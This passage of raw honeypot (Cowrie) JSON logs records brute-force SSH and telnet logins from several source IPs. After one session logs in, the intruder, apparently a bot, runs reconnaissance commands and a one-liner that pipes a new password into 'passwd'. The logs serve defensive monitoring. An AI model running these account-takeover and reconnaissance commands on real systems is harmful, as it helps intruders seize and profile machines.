a2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:45.313871Z","src_ip":"114.35.59.237","session":"b9951e93c075","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:46.186806Z","src_ip":"114.35.59.237","session":"b9951e93c075","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:47.398402Z","src_ip":"114.35.59.237","session":"b9951e93c075","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:47.684288Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:47.687474Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:47.905638Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:48.372204Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"administrator389\\nenZpThxNDQPi\\nenZpThxNDQPi\"|passwd|bash","message":"CMD: echo -e \"administrator389\\nenZpThxNDQPi\\nenZpThxNDQPi\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:48.375524Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:48.379994Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:48.383492Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b217fafca8ba34f40fe91c9d83a1f3392b289ecbd0f76b197b0baddbb256a118","size":32,"shasum":"b217fafca8ba34f40fe91c9d83a1f3392b289ecbd0f76b197b0baddbb256a118","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b217fafca8ba34f40fe91c9d83a1f3392b289ecbd0f76b197b0baddbb256a118 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:48.601778Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:49.065007Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"administrator389\\nenZpThxNDQPi\\nenZpThxNDQPi\\n\"|passwd","message":"CMD: echo \"administrator389\\nenZpThxNDQPi\\nenZpThxNDQPi\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:49.067859Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/eee5fc5f26fabc732b25d3be927880a0efdc8addab481bb3038fd6887b052a84","size":25,"shasum":"eee5fc5f26fabc732b25d3be927880a0efdc8addab481bb3038fd6887b052a84","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/eee5fc5f26fabc732b25d3be927880a0efdc8addab481bb3038fd6887b052a84 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:49.282569Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:49.797087Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:49.800544Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:50.017535Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:50.488314Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:50.491501Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:50.709969Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:51.171367Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:51.174544Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:51.177283Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:51.393544Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:51.854625Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:51.858064Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:52.073673Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:52.544982Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:52.548594Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:52.765592Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:53.235446Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:53.239086Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:53.457639Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:53.922586Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:53.926054Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:54.141433Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:54.606979Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:54.609985Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:54.825864Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:55.295705Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:55.299395Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:55.520233Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:55.991595Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:55.994108Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:56.209796Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:56.670805Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:56.673724Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:56.889421Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:57.360613Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:57.363999Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:57.581581Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:58.038733Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:58.042027Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:58.257519Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:15:58.261842Z","src_ip":"114.35.59.237","session":"7f62bd33a451","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.18.182.99","src_port":46220,"dst_ip":"10.17.0.5","dst_port":22,"session":"d72f25be42ab","protocol":"ssh","message":"New connection: 124.18.182.99:46220 (10.17.0.5:22) [session: d72f25be42ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:07.849497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:07.855480Z","src_ip":"124.18.182.99","session":"d72f25be42ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:08.028499Z","src_ip":"124.18.182.99","session":"d72f25be42ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2WSX","message":"login attempt [ubuntu/1qaz2WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:08.745286Z","src_ip":"124.18.182.99","session":"d72f25be42ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.758973598480225,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:09.112553Z","src_ip":"72.167.54.122","session":"3a2735db1f81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:09.919575Z","src_ip":"124.18.182.99","session":"d72f25be42ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.71787714958191,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:13.165024Z","src_ip":"104.245.105.2","session":"f71278aa512a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.158143281936646,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:16.854600Z","src_ip":"104.245.105.2","session":"9b1dcd2ba08d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":49760,"dst_ip":"159.203.135.109","dst_port":22,"session":"db85149dceac","protocol":"ssh","message":"New connection: 223.17.5.126:49760 (159.203.135.109:22) [session: db85149dceac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:36.519408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:16:36.524043Z","src_ip":"223.17.5.126","session":"db85149dceac","protocol":"ssh"}
